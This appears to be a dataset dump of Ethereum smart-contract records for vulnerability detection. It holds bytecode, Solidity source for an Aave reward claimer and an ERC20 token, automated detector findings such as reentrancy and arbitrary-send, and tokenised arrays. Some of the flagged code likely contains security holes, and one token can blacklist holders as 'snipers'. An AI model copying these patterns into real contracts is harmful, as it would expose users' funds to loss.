f55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161092d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661167d5760405162461bcd60e51b815260040161092d906129fb565b6001600160a01b0382166116a35760405162461bcd60e51b815260040161092d90612a40565b6001600160a01b03831660009081526006602052604090205460ff16156117485760405162461bcd60e51b815260206004820152604d60248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120736e697065722c20796f752061726520756e61626c6520746f207472616e60648201526c39b332b91037b91039bbb0b81760991b608482015260a40161092d565b8061175957610e3b83836000611fd5565b600854421415611787576001600160a01b0382166000908152600660205260409020805460ff191660011790555b600d5460ff1615611c3d576005546001600160a01b038481169116148015906117be57506005546001600160a01b03838116911614155b80156117d257506001600160a01b03821615155b80156117e957506001600160a01b03821661dead14155b80156117f8575060075460ff16155b15611c3d57600d54610100900460ff16611890576001600160a01b0383166000908152601b602052604090205460ff168061184b57506001600160a01b0382166000908152601b602052604090205460ff165b6118905760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161092d565b600f5460ff16156119d7576005546001600160a01b038381169116148015906118eb57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b801561192957507f0000000000000000000000006b7a2a7a6096fe9c3b66c19f51d6175cd95525066001600160a01b0316826001600160a01b031614155b156119d757326000908152600e602052604090205443116119c45760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161092d565b326000908152600e602052604090204390555b6001600160a01b0383166000908152601d602052604090205460ff168015611a1857506001600160a01b0382166000908152601c602052604090205460ff16155b15611afc57600a54811115611a8d5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161092d565b600c546001600160a01b038316600090815260208190526040902054611ab390836129e3565b1115611af75760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161092d565b611c3d565b6001600160a01b0382166000908152601d602052604090205460ff168015611b3d57506001600160a01b0383166000908152601c602052604090205460ff16155b15611bb357600a54811115611af75760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161092d565b6001600160a01b0382166000908152601c602052604090205460ff16611c3d57600c546001600160a01b038316600090815260208190526040902054611bf990836129e3565b1115611c3d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161092d565b30600090815260208190526040902054600b5481108015908190611c64575060075460ff16155b8015611c8957506001600160a01b0385166000908152601d602052604090205460ff16155b8015611cae57506001600160a01b0385166000908152601b602052604090205460ff16155b8015611cd357506001600160a01b0384166000908152601b602052604090205460ff16155b15611cf8576007805460ff19166001179055611ced6120de565b6007805460ff191690555b6007546001600160a01b0386166000908152601b602052604090205460ff91821615911680611d3f57506001600160a01b0385166000908152601b602052604090205460ff165b15611d48575060005b60008115611f33576001600160a01b0386166000908152601d602052604090205460ff168015611d7a57506000601454115b15611e3857611d9f6064611d996014548861226990919063ffffffff16565b906122e8565b905060145460165482611db29190612971565b611dbc9190612990565b60196000828254611dcd91906129e3565b9091555050601454601754611de29083612971565b611dec9190612990565b601a6000828254611dfd91906129e3565b9091555050601454601554611e129083612971565b611e1c9190612990565b60186000828254611e2d91906129e3565b90915550611f159050565b6001600160a01b0387166000908152601d602052604090205460ff168015611e6257506000601054115b15611f1557611e816064611d996010548861226990919063ffffffff16565b905060105460125482611e949190612971565b611e9e9190612990565b60196000828254611eaf91906129e3565b9091555050601054601354611ec49083612971565b611ece9190612990565b601a6000828254611edf91906129e3565b9091555050601054601154611ef49083612971565b611efe9190612990565b60186000828254611f0f91906129e3565b90915550505b8015611f2657611f26873083611fd5565b611f308186612a83565b94505b611f3e878787611fd5565b50505050505050565b60008184841115611f6b5760405162461bcd60e51b815260040161092d9190612660565b506000611f788486612a83565b95945050505050565b6001600160a01b0382166000818152601d6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611ffb5760405162461bcd60e51b815260040161092d906129fb565b6001600160a01b0382166120215760405162461bcd60e51b815260040161092d90612a40565b61205e81604051806060016040528060268152602001612b57602691396001600160a01b0386166000908152602081905260409020549190611f47565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461208d90826114cc565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161164a565b3060009081526020819052604081205490506000601a5460185460195461210591906129e3565b61210f91906129e3565b905081158061211c575080155b15612125575050565b600b54612133906014612971565b82111561214b57600b54612148906014612971565b91505b60006002826019548561215e9190612971565b6121689190612990565b6121729190612990565b90506000612180848361232a565b90504761218c8261236c565b6000612198478361232a565b905060006121b586611d996018548561226990919063ffffffff16565b905060006121d287611d99601a548661226990919063ffffffff16565b90506000816121e18486612a83565b6121eb9190612a83565b600060198190556018819055601a559050861580159061220b5750600081115b1561225e5761221a878261252c565b601954604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b505050505050505050565b600082612278575060006108fd565b60006122848385612971565b9050826122918583612990565b1461152b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161092d565b600061152b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612632565b600061152b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f47565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106123a1576123a16129b2565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561241f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124439190612a9a565b81600181518110612456576124566129b2565b60200260200101906001600160a01b031690816001600160a01b0316815250506124a1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611532565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906124f6908590600090869030904290600401612ab7565b600060405180830381600087803b15801561251057600080fd5b505af1158015612524573d6000803e3d6000fd5b505050505050565b612557307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611532565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d71982308560008061259e6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612606573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061262b9190612b28565b5050505050565b600081836126535760405162461bcd60e51b815260040161092d9190612660565b506000611f788486612990565b600060208083528351808285015260005b8181101561268d57858101830151858201604001528201612671565b8181111561269f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610ab957600080fd5b803561139f816126b5565b600080604083850312156126e857600080fd5b82356126f3816126b5565b946020939093013593505050565b60006020828403121561271357600080fd5b813561152b816126b5565b60006020828403121561273057600080fd5b5035919050565b60008060006060848603121561274c57600080fd5b8335612757816126b5565b92506020840135612767816126b5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156127a157600080fd5b823567ffffffffffffffff808211156127b957600080fd5b818501915085601f8301126127cd57600080fd5b8135818111156127df576127df612778565b8060051b604051601f19603f8301168101818110858211171561280457612804612778565b60405291825284820192508381018501918883111561282257600080fd5b938501935b8285101561284757612838856126ca565b84529385019392850192612827565b98975050505050505050565b6000806040838503121561286657600080fd5b8235612871816126b5565b91506020830135801515811461288657600080fd5b809150509250929050565b6000806000606084860312156128a657600080fd5b505081359360208301359350604090920135919050565b600080604083850312156128d057600080fd5b82356128db816126b5565b91506020830135612886816126b5565b600181811c908216806128ff57607f821691505b6020821081141561292057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561298b5761298b61295b565b500290565b6000826129ad57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006000198214156129dc576129dc61295b565b5060010190565b600082198211156129f6576129f661295b565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015612a9557612a9561295b565b500390565b600060208284031215612aac57600080fd5b815161152b816126b5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b075784516001600160a01b031683529383019391830191600101612ae2565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612b3d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202cfb74e23b8c34c2c38d0122b1349729f78677539eb5abbc1c0107646dbff2c864736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 16086, 2278, 2575, 14526, 6305, 2581, 2546, 2094, 2683, 27421, 2629, 2546, 2581, 27531, 2683, 2098, 10322, 17914, 24594, 2094, 2575, 9818, 2620, 7959, 2683, 2581, 10322, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2340, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,009
0x960d7F7dB1aba1A8099cBdA0a16F676c6CC057ed
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {AccountCenterInterface} from "./interfaces/IAccountCenter.sol"; struct AaveUserData { uint256 totalCollateralETH; uint256 totalBorrowsETH; uint256 availableBorrowsETH; uint256 currentLiquidationThreshold; uint256 ltv; uint256 healthFactor; uint256 ethPriceInUsd; uint256 pendingRewards; } contract AaveStakeRewardClaimer { address public aaveResolver; address public aaveIncentivesAddress; address public aaveDataProvider; address public accountCenter; uint256 public _accountTypeCount = 2; constructor( address _accountCenter, address _aaveDataProvider, address _aaveResolver, address _aaveIncentivesAddress ) { accountCenter = _accountCenter; aaveResolver = _aaveResolver; aaveDataProvider = _aaveDataProvider; aaveIncentivesAddress = _aaveIncentivesAddress; } function claimAaveStakeReward(address[] calldata dsa) public { for (uint256 i = 0; i < dsa.length; i++) { (address[] memory atokens, ) = checkAaveStakeReward(dsa[i]); IDsaProxy(dsa[i]).claimDsaAaveStakeReward(atokens); } } function claimAllAaveStakeReward(address[] calldata dsa,uint256 thereshold) public { for (uint256 i = 0; i < dsa.length; i++) { (address[] memory atokens, ) = getAllRewardBlanece(dsa[i], thereshold); IDsaProxy(dsa[i]).claimDsaAaveStakeReward(atokens); } } function checkAaveStakeReward(address aaveAccount) public view returns (address[] memory atokens, uint256 rewards) { uint256 assetsCount; (bool[] memory collateral, ) = IAaveV2Resolver(aaveResolver) .getConfiguration(aaveAccount); address[] memory reservesList = IAaveV2Resolver(aaveResolver) .getReservesList(); for (uint256 i = 0; i < reservesList.length; i++) { if (collateral[i] == true) { assetsCount = assetsCount + 1; } } address[] memory assets = new address[](assetsCount); uint256 j; for (uint256 i = 0; i < reservesList.length; i++) { if (collateral[i] == true) { assets[j] = reservesList[i]; j = j + 1; } } uint256 arrLength = 2 * assets.length; address[] memory _atokens = new address[](arrLength); AaveProtocolDataProvider aaveData = AaveProtocolDataProvider( aaveDataProvider ); for (uint256 i = 0; i < assets.length; i++) { (_atokens[2 * i], , _atokens[2 * i + 1]) = aaveData .getReserveTokensAddresses(assets[i]); } uint256 _rewards = AaveStakedTokenIncentivesController( aaveIncentivesAddress ).getRewardsBalance(_atokens, aaveAccount); return (_atokens, _rewards); } function getAllRewardBlanece(address aaveAccount, uint256 threshold) public view returns (address[] memory atokens, uint256 totalReward) { uint256 rewardTokenCount; uint256 _totalReward; address[] memory reservesList = IAaveV2Resolver(aaveResolver) .getReservesList(); uint256 i; uint256[] memory _rewards; address[] memory _wToken; for (i = 0; i < reservesList.length; i++) { (_wToken, _rewards) = getReservesReward( reservesList[i], aaveAccount ); if (_rewards[0] > threshold) { rewardTokenCount++; } if (_rewards[1] > threshold) { rewardTokenCount++; } } address[] memory _atokens = new address[](rewardTokenCount); uint256 j; for (i = 0; i < reservesList.length; i++) { (_wToken, _rewards) = getReservesReward( reservesList[i], aaveAccount ); if (_rewards[0] > threshold) { _atokens[j] = _wToken[0]; _totalReward = _totalReward + _rewards[0]; j++; } if (_rewards[1] > threshold) { _atokens[j] = _wToken[1]; _totalReward = _totalReward + _rewards[1]; j++; } } return(_atokens,_totalReward); } function getReservesReward(address reserves, address aaveAccount) public view returns (address[] memory xTokens, uint256[] memory rewards) { address[] memory _xToken = new address[](2); address[] memory _wToken = new address[](1); uint256[] memory _rewards = new uint256[](2); AaveProtocolDataProvider aaveData = AaveProtocolDataProvider( aaveDataProvider ); (_xToken[0], ,_xToken[1]) = aaveData .getReserveTokensAddresses(reserves); for (uint256 i = 0; i < 2; i++) { _wToken[0] = _xToken[i]; _rewards[i] = AaveStakedTokenIncentivesController( aaveIncentivesAddress ).getRewardsBalance(_wToken, aaveAccount); } return (_xToken, _rewards); } } interface AaveStakedTokenIncentivesController { function getRewardsBalance(address[] calldata assets, address user) external view returns (uint256); function claimRewards( address[] calldata assets, uint256 amount, address to ) external returns (uint256); } interface IAaveV2Resolver { function getConfiguration(address user) external view returns (bool[] memory collateral, bool[] memory borrowed); function getReservesList() external view returns (address[] memory data); } interface AaveProtocolDataProvider { function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); } interface IDsaProxy { function claimDsaAaveStakeReward(address[] memory atokens) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AccountCenterInterface { function accountCount() external view returns (uint256); function accountTypeCount() external view returns (uint256); function createAccount(uint256 accountTypeID) external returns (address _account); function getAccount(uint256 accountTypeID) external view returns (address _account); function getEOA(address account) external view returns (address payable _eoa); function isSmartAccount(address _address) external view returns (bool _isAccount); function isSmartAccountofTypeN(address _address, uint256 accountTypeID) external view returns (bool _isAccount); function getAccountCountOfTypeN(uint256 accountTypeID) external view returns (uint256 count); }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063581fcf7211610066578063581fcf72146101315780635df3b91c14610146578063947eaa8514610167578063a4f4acc51461017a578063feeef1161461018d57600080fd5b806315f113c9146100a357806325b0dd05146100bf57806338ad0c9d146100e057806347e34998146100f3578063544f50d21461011e575b600080fd5b6100ac60045481565b6040519081526020015b60405180910390f35b6100d26100cd366004610e0a565b6101a0565b6040516100b6929190611164565b6100d26100ee366004610eb4565b610625565b600154610106906001600160a01b031681565b6040516001600160a01b0390911681526020016100b6565b600354610106906001600160a01b031681565b61014461013f366004610ee0565b610953565b005b610159610154366004610e2e565b610a2a565b6040516100b692919061110d565b610144610175366004610f22565b610c66565b600254610106906001600160a01b031681565b600054610106906001600160a01b031681565b6000805460405163c44b11f760e01b81526001600160a01b03848116600483015260609392839283929091169063c44b11f79060240160006040518083038186803b1580156101ee57600080fd5b505afa158015610202573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261022a919081019061100f565b50905060008060009054906101000a90046001600160a01b03166001600160a01b031663d1946dbc6040518163ffffffff1660e01b815260040160006040518083038186803b15801561027c57600080fd5b505afa158015610290573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526102b89190810190610f6e565b905060005b815181101561030c578281815181106102d8576102d8611243565b602002602001015115156001151514156102fa576102f78460016111db565b93505b8061030481611212565b9150506102bd565b5060008367ffffffffffffffff81111561032857610328611259565b604051908082528060200260200182016040528015610351578160200160208202803683370190505b5090506000805b83518110156103eb5784818151811061037357610373611243565b602002602001015115156001151514156103d95783818151811061039957610399611243565b60200260200101518383815181106103b3576103b3611243565b6001600160a01b03909216602092830291909101909101526103d68260016111db565b91505b806103e381611212565b915050610358565b506000825160026103fc91906111f3565b905060008167ffffffffffffffff81111561041957610419611259565b604051908082528060200260200182016040528015610442578160200160208202803683370190505b506002549091506001600160a01b031660005b855181101561057c57816001600160a01b031663d2493b6c87838151811061047f5761047f611243565b60200260200101516040518263ffffffff1660e01b81526004016104b291906001600160a01b0391909116815260200190565b60606040518083038186803b1580156104ca57600080fd5b505afa1580156104de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105029190610e67565b9050846105108460026111f3565b8151811061052057610520611243565b602002602001018584600261053591906111f3565b6105409060016111db565b8151811061055057610550611243565b6001600160a01b039384166020918202929092010152911690528061057481611212565b915050610455565b506000600160009054906101000a90046001600160a01b03166001600160a01b0316638b599f26848e6040518363ffffffff1660e01b81526004016105c29291906110e3565b60206040518083038186803b1580156105da57600080fd5b505afa1580156105ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106129190611073565b929c929b50919950505050505050505050565b606060008060008060008054906101000a90046001600160a01b03166001600160a01b031663d1946dbc6040518163ffffffff1660e01b815260040160006040518083038186803b15801561067957600080fd5b505afa15801561068d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106b59190810190610f6e565b905060006060805b8351831015610763576106e98484815181106106db576106db611243565b60200260200101518b610a2a565b8093508192505050888260008151811061070557610705611243565b60200260200101511115610721578561071d81611212565b9650505b888260018151811061073557610735611243565b60200260200101511115610751578561074d81611212565b9650505b8261075b81611212565b9350506106bd565b60008667ffffffffffffffff81111561077e5761077e611259565b6040519080825280602002602001820160405280156107a7578160200160208202803683370190505b50905060008094505b8551851015610940576107dc8686815181106107ce576107ce611243565b60200260200101518d610a2a565b80955081945050508a846000815181106107f8576107f8611243565b60200260200101511115610889578260008151811061081957610819611243565b602002602001015182828151811061083357610833611243565b60200260200101906001600160a01b031690816001600160a01b0316815250508360008151811061086657610866611243565b60200260200101518761087991906111db565b96508061088581611212565b9150505b8a8460018151811061089d5761089d611243565b6020026020010151111561092e57826001815181106108be576108be611243565b60200260200101518282815181106108d8576108d8611243565b60200260200101906001600160a01b031690816001600160a01b0316815250508360018151811061090b5761090b611243565b60200260200101518761091e91906111db565b96508061092a81611212565b9150505b8461093881611212565b9550506107b0565b50975093955050505050505b9250929050565b60005b81811015610a2557600061098a84848481811061097557610975611243565b90506020020160208101906100cd9190610e0a565b50905083838381811061099f5761099f611243565b90506020020160208101906109b49190610e0a565b6001600160a01b03166342b3a4d5826040518263ffffffff1660e01b81526004016109df91906110d0565b600060405180830381600087803b1580156109f957600080fd5b505af1158015610a0d573d6000803e3d6000fd5b50505050508080610a1d90611212565b915050610956565b505050565b604080516002808252606082810190935282916000918160200160208202803683375050604080516001808252818301909252929350600092915060208083019080368337505060408051600280825260608201835293945060009390925090602083019080368337019050506002546040516334924edb60e21b81526001600160a01b038a81166004830152929350911690819063d2493b6c9060240160606040518083038186803b158015610ae057600080fd5b505afa158015610af4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b189190610e67565b905085600081518110610b2d57610b2d611243565b6020026020010186600181518110610b4757610b47611243565b6001600160a01b0393841660209182029290920101529116905260005b6002811015610c5857848181518110610b7f57610b7f611243565b602002602001015184600081518110610b9a57610b9a611243565b6001600160a01b0392831660209182029290920101526001546040516345accf9360e11b8152911690638b599f2690610bd99087908c906004016110e3565b60206040518083038186803b158015610bf157600080fd5b505afa158015610c05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c299190611073565b838281518110610c3b57610c3b611243565b602090810291909101015280610c5081611212565b915050610b64565b509297909650945050505050565b60005b82811015610d3e576000610ca3858584818110610c8857610c88611243565b9050602002016020810190610c9d9190610e0a565b84610625565b509050848483818110610cb857610cb8611243565b9050602002016020810190610ccd9190610e0a565b6001600160a01b03166342b3a4d5826040518263ffffffff1660e01b8152600401610cf891906110d0565b600060405180830381600087803b158015610d1257600080fd5b505af1158015610d26573d6000803e3d6000fd5b50505050508080610d3690611212565b915050610c69565b50505050565b60008083601f840112610d5657600080fd5b50813567ffffffffffffffff811115610d6e57600080fd5b6020830191508360208260051b850101111561094c57600080fd5b600082601f830112610d9a57600080fd5b81516020610daf610daa836111b7565b611186565b80838252828201915082860187848660051b8901011115610dcf57600080fd5b6000805b86811015610dfc5782518015158114610dea578283fd5b85529385019391850191600101610dd3565b509198975050505050505050565b600060208284031215610e1c57600080fd5b8135610e278161126f565b9392505050565b60008060408385031215610e4157600080fd5b8235610e4c8161126f565b91506020830135610e5c8161126f565b809150509250929050565b600080600060608486031215610e7c57600080fd5b8351610e878161126f565b6020850151909350610e988161126f565b6040850151909250610ea98161126f565b809150509250925092565b60008060408385031215610ec757600080fd5b8235610ed28161126f565b946020939093013593505050565b60008060208385031215610ef357600080fd5b823567ffffffffffffffff811115610f0a57600080fd5b610f1685828601610d44565b90969095509350505050565b600080600060408486031215610f3757600080fd5b833567ffffffffffffffff811115610f4e57600080fd5b610f5a86828701610d44565b909790965060209590950135949350505050565b60006020808385031215610f8157600080fd5b825167ffffffffffffffff811115610f9857600080fd5b8301601f81018513610fa957600080fd5b8051610fb7610daa826111b7565b80828252848201915084840188868560051b8701011115610fd757600080fd5b600094505b83851015611003578051610fef8161126f565b835260019490940193918501918501610fdc565b50979650505050505050565b6000806040838503121561102257600080fd5b825167ffffffffffffffff8082111561103a57600080fd5b61104686838701610d89565b9350602085015191508082111561105c57600080fd5b5061106985828601610d89565b9150509250929050565b60006020828403121561108557600080fd5b5051919050565b600081518084526020808501945080840160005b838110156110c55781516001600160a01b0316875295820195908201906001016110a0565b509495945050505050565b602081526000610e27602083018461108c565b6040815260006110f6604083018561108c565b905060018060a01b03831660208301529392505050565b604081526000611120604083018561108c565b82810360208481019190915284518083528582019282019060005b818110156111575784518352938301939183019160010161113b565b5090979650505050505050565b604081526000611177604083018561108c565b90508260208301529392505050565b604051601f8201601f1916810167ffffffffffffffff811182821017156111af576111af611259565b604052919050565b600067ffffffffffffffff8211156111d1576111d1611259565b5060051b60200190565b600082198211156111ee576111ee61122d565b500190565b600081600019048311821515161561120d5761120d61122d565b500290565b60006000198214156112265761122661122d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461128457600080fd5b5056fea2646970667358221220e138a5de8b7b89ce0ce31eeeafb9dceaa0945a9e36c301a2a20115b8663996b464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 16086, 2094, 2581, 2546, 2581, 18939, 2487, 19736, 2487, 2050, 17914, 2683, 2683, 27421, 2850, 2692, 27717, 2575, 2546, 2575, 2581, 2575, 2278, 2575, 9468, 2692, 28311, 2098, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1063, 4070, 13013, 23282, 3334, 12172, 1065, 2013, 1000, 1012, 1013, 19706, 1013, 24264, 21408, 16671, 13013, 2121, 1012, 14017, 1000, 1025, 2358, 6820, 6593, 9779, 3726, 20330, 2850, 2696, 1063, 21318, 3372, 17788, 2575, 2561, 26895, 24932, 9453, 2705, 1025, 21318, 3372, 17788, 2575, 2561, 12821, 10524, 13462, 2232, 1025, 21318, 3372, 17788, 2575, 2800, 12821, 10524, 13462, 2232, 1025, 21318, 3372, 17788, 2575, 2783, 3669, 15549, 20207, 2705, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,010
0x960e67e634af0daefbab1a47fe311004ae7b75da
pragma solidity ^0.4.24; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract KAA is 